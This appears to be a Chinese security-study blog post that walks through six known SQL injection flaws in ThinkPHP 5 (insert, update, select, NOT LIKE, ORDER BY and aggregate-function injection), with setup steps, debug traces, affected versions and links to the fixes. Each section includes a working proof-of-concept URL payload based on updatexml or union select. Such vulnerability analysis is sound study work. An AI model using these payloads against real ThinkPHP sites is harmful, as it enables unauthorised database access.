[toc]
参考资料:https://github.com/Mochazz/ThinkPHP-Vuln
环境准备:
- PHPStorm + MAMP PRO
环境搭建可以看我前两篇文章。
- composer
1 | brew install composer |
- 获取复现代码
1 | composer create-project --prefer-dist topthink/think=5.0.15 tpdemo |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
- SQL 注入demo 环境
修改/application/index/controller/index.php
的代码如下:
1 |
|
模拟这里存在一个用户传参并与数据库交互的场景。
可能会存在,SQL 报错
修改username 字段默认为NULL
即可解决问题。
SQL注入一(insert)
POC
1 | public/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 |
影响版本
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
漏洞概述
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
类型:insert
注入。
漏洞分析
对于开源项目,在issue 或者 commit \ Releases 记录中,就能找到历史漏洞信息。这一点在CTF中经常用到,尤其是Node.js 的第三方依赖漏洞。
从漏洞影响版本可以去找 已经修复后的版本,https://github.com/top-think/framework/releases/tag/v5.0.16
通过github 的compare
功能,即可查看代码发生了哪些修改。
https://github.com/top-think/framework/compare/v5.0.16...master
在/thinkphp/library/think/db/Connection.php
的 314, 316 行下断点Debug,打payload。
INSERT INTO users
(username
) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1)
同时成功攻击的Payload 所在的参数位于 username[1]
的 value
。
攻击Payload 经过ThinkPHP 的内置过滤后,进入$this->builder
的Query
类的insert
方法,执行其中的SQL语句,并在后面返回出了执行结果。因为Payload利用updatexml()
来报错,因此必须开启app_debug
来开启SQL 报错信息。
(如上图debug 结果中Query.php),$this->builder
为 think\db\builder\Mysql
类,Query
的定义位于 thinkphp/library/think/db/builder/Mysql.php
在/thinkphp/library/think/db/builder/Mysql.php
, Mysql
类继承于Builder
类,即上面的 $this->builder->insert() 最终调用的是 Builder 类的 insert 方法
方法调用parseData()
方法来分析并处理数据,跟进该方法。
/thinkphp/library/think/db/Builder.php
在inc
和 dec
的 情况下,将可控数据$val[1]
通过parseKey
方法处理后,进行拼接,并返回$result
parseKey
方法 不做任何处理,是直接返回值的一个方法。
因此,带有恶意SQL 语句的Payload,被拼接且没任何字符串形式处理在Builder类的insert方法中,通过str_replace函数直接替换,返回sql,带入SQL语句中被执行,造成了SQL注入漏洞。
在thinkphp/library/think/Request.php
中,有调用内置过滤(直接替换为空)方法,对参数exp
进行过滤,在case exp
的情况下,无法造成漏洞。
问题:为什么不能将恶意Payload 用username[2]
来投递?
原因:
同样的办法,下断点,debug 可以看到。
回到之前的parseDate
方法,username[2]
的值通过floatval
函数处理
payload 变为了0
,且 会存在SQL 错误。
利用总结
漏洞修复
SQL注入二(update)
复现代码获取:
1 | composer create-project --prefer-dist topthink/think=5.1 tpdemo3 |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
在../config/app.php
中,需要修改app_trace
为true, app_debug
默认开启了。
创建数据库:
1 | create database tpdemo; |
这里也要设置username 字段 为NULL
才行
修改/application/index/controller/index.php
1 |
|
POC
1 | /public/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0 |
很SQL 注入一非常类似。
影响版本
漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。
漏洞概述
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生
注入类型:update
注入
漏洞分析
对于开源项目,在issue 或者 commit \ Releases 记录中,就能找到历史漏洞信息。这一点在CTF中经常用到,尤其是Node.js 的第三方依赖漏洞。
- 下断点,debug。观察参数传递过程
- 监控MySQL
下断点,开启Debug,打Payload。
../thinkphp/library/think/db/Query.php
中,Payload 传入Query 类的 update
方法,跟进该方法,该方法调用了Connection
类的该方法为update
方法,该方法又调用了
$this->builder
的update
方法,此处的$this->builder
为为think\db\builder\Mysql
类。class Mysql extends Builder
,该类继承于Builder
类。
在Builder
类中的update
方法,调用了parseData
方法,(正如上图debug结果。
在该方法中的swich
语句中,之前出现过漏洞,现在多了一条default 语句。而在新版本中被删除了。
跟进到parseData
方法,发现Payload 又被parseArrayData
方法处理,继续跟进,
在../thinkphp/library/think/db/builder/Mysql.php
中的 200 行返回result 的地方打断点,调试结果如下。
此处将可控变量经过拼接后被带入数据库进行查询。
1 | protected function parseArrayData(Query $query, $data) |
其中:
1 | $result = $fun . '(\'' . $point . '(' . $value . ')\')'; |
三个变量均可控。形式为:$a('$b($c)')
现在就是想办法如何闭合,然后进行注入攻击。
1 | UPDATE `users` SET `username` = $a('$b($c)') WHERE `id` = 1; |
即让$fun
为我们的恶意Payload 即可。然后闭合掉后面的部分。
1 | updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') |
利用总结
下图来自参考资料。
漏洞修复
升级最新版,
官方直接删了parseArrayDate
函数。
一点点感想,我感觉按照这个师傅的分析思路,是逆着payload 去分析的漏洞原因,我好想正面直接挖啊,菜死了。
SQL注入三(select)
新增参考资料:https://www.cnblogs.com/wangtanzhi/p/12732557.html
学习就是要学习不同大佬的思路,然后转换为自己的思路。
POC
1 | /public/index.php/index/index/?username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23 |
sqlmap 也可以跑出结果。
影响版本
ThinkPHP5 全版本
漏洞概述
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
漏洞分析
- MySQL 监控
监控不到,不知道为什么。配置也是正确的。
/application/index/controller/index.php
然后用户输入的数据会原样进入框架的 SQL 查询方法中。首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。(这个点得记住,框架的sql查询方法先进入 Query 类)
程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,但是该方法默认情况下并没有对数据进行很好的过滤,所以用户输入的数据会原样进入框架的 SQL 查询方法中。首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。
此处调用$this->builder
的select
方法。而此处$this->builder
为think/db/builder/Mysql
类,继承于Builder
类。因此调用的是Builder
类的select
方法
在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据。跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。
此处$where
经过 buildWhere
方法处理后返回$whereStr
parseWhereItem
的 where
子单元函数方法调用,当操作符为EXP
时,经过拼接带入SQL查询,造成SQL注入。
完整的方法调用如上图绿色部分。
利用总结
漏洞修复
官网未修复。
继承类,等面向对象的基本知识很重要。
SQL注入四(select)
漏洞复现环境和上面应该是差不多的。
POC
1 | public/index.php/index/index?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23 |
影响版本
ThinkPHP: 5.0.10
漏洞概述
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生
在MySQL 中 NOT LIKE
为模糊查询,什么是模糊查询呢?
mysql模糊查询like的用法:
查询user表中姓名中有“王”字的:
select * from user where name like ‘%王%’
mysql模糊查询not like的用法
查询user表中姓名中没有“王”字的:
select * from user where name not like ‘%王%’
漏洞分析
该SQL注入漏洞影响版本为 5.0.10
,因此去 5.0.11
的更新记录中,则可以查看相关的修复操作。
Commit :https://github.com/top-think/framework/commit/f43688a30ce921df1c7cda771620c0fbe1868e7d
( 急需如何快速定位到 某个指定的commit 记录的方法。
可以看到,这里之前是没有将特殊字符 NOT LIKE
给过滤掉。
根据Payload来分析漏洞原理:
不管以哪种方式传递数据给服务器,这些数据在 ThinkPHP 中都会经过 Request 类的 input 方法
在input
方法中:传入的数据会经过 filterValue过滤和
强制类型转换,然后返回。
跟进该方法,查看是如何实现的。发现又会调用到filterExp
方法,
可以看到没有过滤NOT LIKE
ThinkPHP处理 SQL 语句的方法。首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句。
![image-20200915144157181](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20200915144157181.png)
此处的$this->builder
为 think\db\builder\Mysql
类。而Mysql
类继承于 Builder
类,所以会继续调用到Builder
类的select
方法。该方法调用了parseWhere
方法,然后调用了buildWhere
方法,该方法继续调用了 parseWhereItem
方法,跟进该方法,
此处到 操作符 $exp
为 NOT LIKE
或 LIKE
时,MySQL 的逻辑控制符可控。后进行拼接返回带入SQL语句中执行,导致了SQL注入漏洞。
最终的结果就是返回带有恶意的SQL Payload(whereStr
,红色部分。
整个过程的方法调用情况如绿色框起的部分。
1 | (`username` NOT LIKE '%%' ) UNION SELECT 1,USER()# `username` NOT LIKE '233') |
利用总结
下图来自七月火师傅的总结文章里的。
漏洞修复
增加过滤
SQL注入五(order by)
环境搭建也差不多,需要手动开启../config/app.php
下的app_debug
和 app_trace
POC
1 | /public/index.php/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1 |
影响版本
5.1.16<=ThinkPHP5<=5.1.22
漏洞概述
本次漏洞存在于 Builder
类的 parseOrder
方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞分析
![image-20200915202933679](/Users/m0nk3y/Library/Application Support/typora-user-images/image-20200915202933679.png)
从修改记录中看到,增加了一条if判断语句来过滤$key
中的)
和 #
。这两个符号也是在CTF中往往会过滤的点。
我们的数据都会进入到Request
类中的input
方法,并且经过filterValue
方法的过滤和强制类型转换并返回$data
。
这里array_walk_recursive()
函数,对数组中的成员递归调用filterValue
过滤函数。
但是filterValue
过滤函数,不过滤数组的key
, 只过滤了数组的value
。
用户输入的数据会原样
1 | ?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1 |
进入框架的 SQL查询方法中,进入Query
类,这次是通过调用order
方法。
恶意Payload 未经过任何过滤直接传递给options['order']
中。接着调用find()
方法。
此处$this->connection
是think/db/connectior/Mysql
类 ,继承于Connection
类,于是此处继续调用该类的find()
方法,
该方法继续调用了 $this->builder
, 即think/db/builder/Mysql
类的select
方法。该方法通过str_replace
函数,将数据填充到SQL语句中。
1 |
|
然后调用了parseOrder
方法,跟进下,
1 | protected function parseOrder(Query $query, $order) |
在上面的函数中,$order
即是我们输入的数据,然后经过了parseKey
方法处理后返回给$array
。
跟进查看该方法的实现。
该方法在变量$key
的两端添加了反引号进行拼接,并且没有任何过滤。再和精心构造好的Payload 结合后
最终返回了一个带有ORDER BY
的 SQL 注入 payload 给要执行的SQL语句,实现ORDER BY
注入。
利用总结
漏洞修复
https://github.com/top-think/framework/commit/673e505421b25bdee2f02b668e5fd1ac79a3d190
SQL注入六(Mysql聚合函数注入)
POC
不同版本 payload 需稍作调整:
5.0.0~5.0.21 、 5.1.3~5.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
这里以5.1.25
版本的ThinkPHP 进行漏洞分析。
1 | /public/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23 |
影响版本
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
漏洞概述
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞分析
和之前的分析思路一样,先去Github 上找更新版本的commit 记录。
https://github.com/top-think/framework/commit/26a1b2fe9571c151ccd5e7ad05b3bb33385ecde3
新增加了一条if
判断 语句,用来抛出异常。
和前几个ThinkPHP 5 SQL 注入漏洞一样,程序都会进入到Query
类中,此处在../application/index/controller/index.php
中,模拟的代码:
1 |
|
因此会先进入到Query
类 的 max
方法。
用户的输入传给了field
:id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#
然后该方法继续调用了aggregate
方法,该方法接着调用了$this->connection
的 aggregate
方法,而$this->connection
为think\db\connector\Mysql
类,而Mysql
类继承与Connection
类,故调用该类的aggregate
方法,该方法又调用了$this->builder
,此处为think\db\Builder\Mysql
类的 parseKey
方法。该方法和SQL注入五起到的作用一样。
理清了调用情况。具体说parseKey
方法的作用
parseKey 方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号。经过 parseKey 方法处理后,程序又回到了上图的 $this->value() 方法中,该方法会调用 Builder 类的 select 方法来构造 SQL 语句。这个方法应该说是在分析 ThinkPHP 漏洞时,非常常见的了。其无非就是使用 str_replace 方法,将变量替换到 SQL 语句模板中。这里,我们重点关注 parseField 方法,因为用户可控数据存储在 $options[‘field’] 变量中并被传入该方法。
1 | public function select(Query $query) |
跟进parseFieid
方法,
1 | protected function parseField(Query $query, $fields) |
该方法未做任何过滤,用户可控数据只是经过 parseKey 方法处理,并不影响数据,然后直接用逗号拼接,最终直接替换进 SQL 语句模板里,导致 SQL注入漏洞 的发生
利用总结
漏洞修复
官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。